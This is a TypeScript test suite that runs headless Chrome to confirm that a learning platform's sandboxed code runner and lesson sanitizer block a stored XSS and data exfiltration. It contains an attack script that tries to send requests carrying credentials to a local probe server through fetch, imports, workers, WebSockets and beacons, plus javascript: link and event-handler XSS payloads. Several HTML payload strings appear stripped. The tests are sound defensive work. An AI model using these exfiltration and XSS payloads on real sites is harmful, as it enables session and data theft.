// Headless-Chrome checks for the two security findings (C1 stored XSS, C2 runner isolation). // Skipped when no Chrome is installed. import { afterAll, beforeAll, describe, expect, test } from "bun:test"; import { mkdtempSync, readFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; import { connect, type Db } from "@stc/db"; import { runMigrations } from "../src/server/migrate"; import { makeApp, FIXTURES } from "./app"; import { Chrome, chromePath } from "./chrome"; interface Hit { path: string; cookie: string | null } let chrome: Chrome, db: Db, app: Bun.Server, probe: Bun.Server; const hits: Hit[] = []; let P = "", ORIGIN = ""; const run = chromePath ? describe : describe.skip; /** Navigates to a harness page and waits until its bundle has loaded. */ async function openHarness(path: string) { await chrome.goto(`${ORIGIN}${path}`, 200); for (let i = 0; i < 100; i++) { // The old document still has stcReady until the navigation commits, so check the location as well. if (await chrome.eval(`location.pathname === ${JSON.stringify(path)} && window.stcReady === true`).catch(() => false)) return; await Bun.sleep(100); } throw new Error(`harness ${path} did not load`); } run("browser isolation (headless Chrome)", () => { beforeAll(async () => { // Bundled in a separate process: Bun.build inside a full bun test run is unreliable (EISDIR on node_modules). const out = join(mkdtempSync(join(tmpdir(), "stc-harness-")), "harness.js"); const build = Bun.spawnSync([process.execPath, "build", join(import.meta.dir, "e2e/harness.tsx"), "--target=browser", "--outfile", out], { stdout: "pipe", stderr: "pipe" }); if (build.exitCode !== 0) throw new Error(`harness build failed: ${build.stderr.toString()}`); const js = await Bun.file(out).text(); // A separate origin that records every request (and the cookie it carried). Cookies ignore ports, so a // request from a same-site context would carry the page's cookie here. probe = Bun.serve({ hostname: "localhost", port: 0, fetch(req) { const u = new URL(req.url); hits.push({ path: u.pathname, cookie: req.headers.get("cookie") }); const js = u.pathname.endsWith(".js"); return new Response(js ? "export default 1;" : "ok", { headers: { "Access-Control-Allow-Origin": "*", "Content-Type": js ? "text/javascript" : "text/plain" } }); }, }); P = `http://localhost:${probe.port}`; db = await connect("sqlite://:memory:"); await runMigrations(db); const { app: learner } = await makeApp(db, [FIXTURES]); // The SPA's own CSP meta tag, taken from apps/web/index.html (the policy the learner app runs under). const meta = /]*>/i.exec(readFileSync(join(import.meta.dir, "../../../apps/web/index.html"), "utf8"))![0]; const page = (csp: boolean) => `${csp ? meta : ""}
`; app = Bun.serve({ hostname: "localhost", port: 0, fetch(req) { const u = new URL(req.url); // The harness page gets the same CSP as the SPA document. if (u.pathname === "/harness.html") return new Response(page(true), { headers: { "Content-Type": "text/html", "Set-Cookie": "stc_probe=secret-session; Path=/; SameSite=Lax" } }); // The same page without any CSP: the runner must isolate learner code on its own. if (u.pathname === "/harness-nocsp.html") return new Response(page(false), { headers: { "Content-Type": "text/html" } }); // Same-origin probe: a request here from learner code would carry the session cookie. if (u.pathname.startsWith("/cookie-probe")) { hits.push({ path: `app:${u.pathname}`, cookie: req.headers.get("cookie") }); return new Response("export default 1;", { headers: { "Content-Type": "text/javascript" } }); } if (u.pathname === "/harness.js") return new Response(js, { headers: { "Content-Type": "text/javascript" } }); return learner.fetch(req); }, }); ORIGIN = `http://localhost:${app.port}`; chrome = await Chrome.launch(); await chrome.goto(`${ORIGIN}/harness.html`, 2000); expect(await chrome.eval("window.stcReady === true")).toBe(true); }, 30_000); afterAll(async () => { await chrome?.close(); app?.stop(true); probe?.stop(true); await db?.close(); }); test("control: the probe sees requests from this browser, with the page's cookie", async () => { // The SPA CSP (connect-src 'self') blocks fetches from the page itself, so the control is a top-level // navigation. It proves that a leak would be recorded, and would carry the cookie. await chrome.goto(`${P}/control`, 500); await openHarness("/harness.html"); expect(await chrome.eval("window.stcReady === true")).toBe(true); const c = hits.find((h) => h.path === "/control"); expect(c).toBeDefined(); expect(c!.cookie ?? "").toContain("stc_probe=secret-session"); }); test("the SPA CSP itself blocks a page-level fetch to another origin", async () => { const before = hits.length; const r = await chrome.eval(`fetch(${JSON.stringify(P + "/page-fetch")}).then(() => "open", (e) => "blocked")`); expect(r).toBe("blocked"); expect(hits.slice(before)).toEqual([]); }); test("the runner still works inside the sandboxed frame", async () => { const dir = join(FIXTURES, "sample/exercises/add"); const tests = readFileSync(join(dir, "tests.js"), "utf8"), starter = readFileSync(join(dir, "starter.js"), "utf8"); const fail = await chrome.eval<{ passed: boolean; expected?: string; actual?: string }[]>(`stcRun(${JSON.stringify(starter)}, ${JSON.stringify(tests)}, 5000)`); expect(fail.map((r) => r.passed)).toEqual([false, false]); expect(fail[0]).toMatchObject({ expected: "5", actual: "-1" }); const pass = await chrome.eval<{ passed: boolean }[]>(`stcRun(${JSON.stringify(starter.replace("a - b", "a + b"))}, ${JSON.stringify(tests)}, 5000)`); expect(pass.map((r) => r.passed)).toEqual([true, true]); expect(await chrome.eval("document.querySelectorAll('iframe').length")).toBe(0); }, 20_000); test("the timeout destroys the frame and its worker", async () => { const tests = `export const tests = [{ name: "loop", run: (m) => m.spin() }];`; const r = await chrome.eval<{ passed: boolean; message?: string }[]>(`stcRun("export function spin() { while (true) {} }", ${JSON.stringify(tests)}, 800)`); expect(r[0]!.passed).toBe(false); expect(r[0]!.message).toContain("Timed out"); expect(await chrome.eval("document.querySelectorAll('iframe').length")).toBe(0); }, 20_000); const attack = (who: string) => ` const P = ${JSON.stringify(P)} + "/${who}"; const tryIt = (f) => { try { const r = f(); if (r && typeof r.then === "function") r.then(() => {}, () => {}); } catch (_) {} }; tryIt(() => fetch(P + "-fetch", { credentials: "include" })); tryIt(() => import(P + "-import.js")); tryIt(() => import(URL.createObjectURL(new Blob(['import "' + P + '-static-import.js";'], { type: "text/javascript" })))); tryIt(() => caches.open("x").then((c) => c.add(P + "-cache"))); tryIt(() => new Worker(URL.createObjectURL(new Blob(['fetch("' + P + '-nested", { credentials: "include" })'], { type: "text/javascript" })))); tryIt(() => { const i = new Image(); i.src = P + "-img"; }); tryIt(() => new EventSource(P + "-es", { withCredentials: true })); tryIt(() => new WebSocket(P.replace("http", "ws") + "-ws")); tryIt(() => { const x = new XMLHttpRequest(); x.open("GET", P + "-xhr"); x.send(); }); tryIt(() => importScripts(P + "-importscripts.js")); tryIt(() => navigator.sendBeacon && navigator.sendBeacon(P + "-beacon", "x")); tryIt(() => import(${JSON.stringify(ORIGIN)} + "/cookie-probe-${who}.js")); tryIt(() => fetch(${JSON.stringify(ORIGIN)} + "/cookie-probe-${who}-fetch", { credentials: "include" })); `; const code = () => `${attack("code")}\nexport const add = (a, b) => a + b;`; const tests = () => `${attack("tests")}\nexport const tests = [{ name: "wait", run: async () => { ${attack("run")} await new Promise((r) => setTimeout(r, 1500)); } }];`; const leaksFrom = async (fn: "stcRun" | "stcRunPlain") => { const before = hits.length; await chrome.eval(`${fn}(${JSON.stringify(code())}, ${JSON.stringify(tests())}, 4000)`); await Bun.sleep(1500); return hits.slice(before); }; let controlEnd = 0; test("negative control: without the sandbox, a same-origin worker on a page without CSP leaks", async () => { await openHarness("/harness-nocsp.html"); const leaked = await leaksFrom("stcRunPlain"); // Dynamic import gets through the stubs, to other origins and, with the session cookie, to the app itself. expect(leaked.map((h) => h.path)).toContain("/code-import.js"); expect(leaked.some((h) => h.path === "app:/cookie-probe-code.js" && (h.cookie ?? "").includes("stc_probe"))).toBe(true); controlEnd = hits.length; }, 30_000); test("C2: learner and test code reach nothing from the sandboxed runner, even on a page without CSP", async () => { await openHarness("/harness-nocsp.html"); expect(await leaksFrom("stcRun")).toEqual([]); }, 30_000); test("C2: learner and test code reach nothing from the sandboxed runner on the SPA (with its CSP)", async () => { await openHarness("/harness.html"); expect(await leaksFrom("stcRun")).toEqual([]); // Only the control navigation (and the favicon request Chrome makes for it) ever carried the cookie. // (The negative control's own leaks are excluded; they ran the old design on purpose.) expect(hits.slice(controlEnd).filter((h) => (h.cookie ?? "").includes("stc_probe"))).toEqual([]); }, 30_000); const exploitMd = () => [ "
\nThink first\n", "
\n", "", "
Hint 1 — nudge\n\nx\n\n
", "[a](javascript:window.__xss=5) [b](JaVaScRiPt:window.__xss=6) c", "", ].join("\n\n"); async function renderExploit(pagePath: string) { await openHarness(pagePath); const before = hits.length; const html = await chrome.eval(`stcRenderLesson(${JSON.stringify(exploitMd())}, ${JSON.stringify(" { for (const a of document.querySelectorAll("#root a, #root summary")) { try { a.dispatchEvent(new MouseEvent("click", { bubbles: true, cancelable: true })); } catch (_) {} } })()`); await Bun.sleep(800); return { html, xss: await chrome.eval("window.__xss ?? null"), leaked: hits.slice(before).filter((h) => h.path === "/xss") }; } test("C1, first layer: the exploit lesson runs no script on a page without CSP (sanitizer alone)", async () => { const r = await renderExploit("/harness-nocsp.html"); expect(r.xss).toBeNull(); expect(chrome.dialogs).toEqual([]); expect(r.leaked).toEqual([]); expect(r.html).toContain("Next paragraph"); expect(r.html).not.toMatch(/<[a-z][^>]*\son[a-z]+=/i); }, 30_000); test("C1, both layers: the exploit lesson runs no script under the SPA's meta CSP", async () => { const r = await renderExploit("/harness.html"); expect(r.xss).toBeNull(); expect(r.leaked).toEqual([]); expect(r.html).toContain("Next paragraph"); }, 30_000); const RAW = `a`; test("C1, second layer: the meta CSP alone blocks unsanitized handlers (control: they run without it)", async () => { await openHarness("/harness-nocsp.html"); await chrome.eval(`stcRawHtml(${JSON.stringify(RAW)})`); expect(await chrome.eval("window.__xss ?? null")).not.toBeNull(); // the raw payload does run without a CSP await openHarness("/harness.html"); const violations = await chrome.eval(`stcRawHtml(${JSON.stringify(RAW)})`); expect(await chrome.eval("window.__xss ?? null")).toBeNull(); expect(violations).toBeGreaterThan(0); }, 30_000); });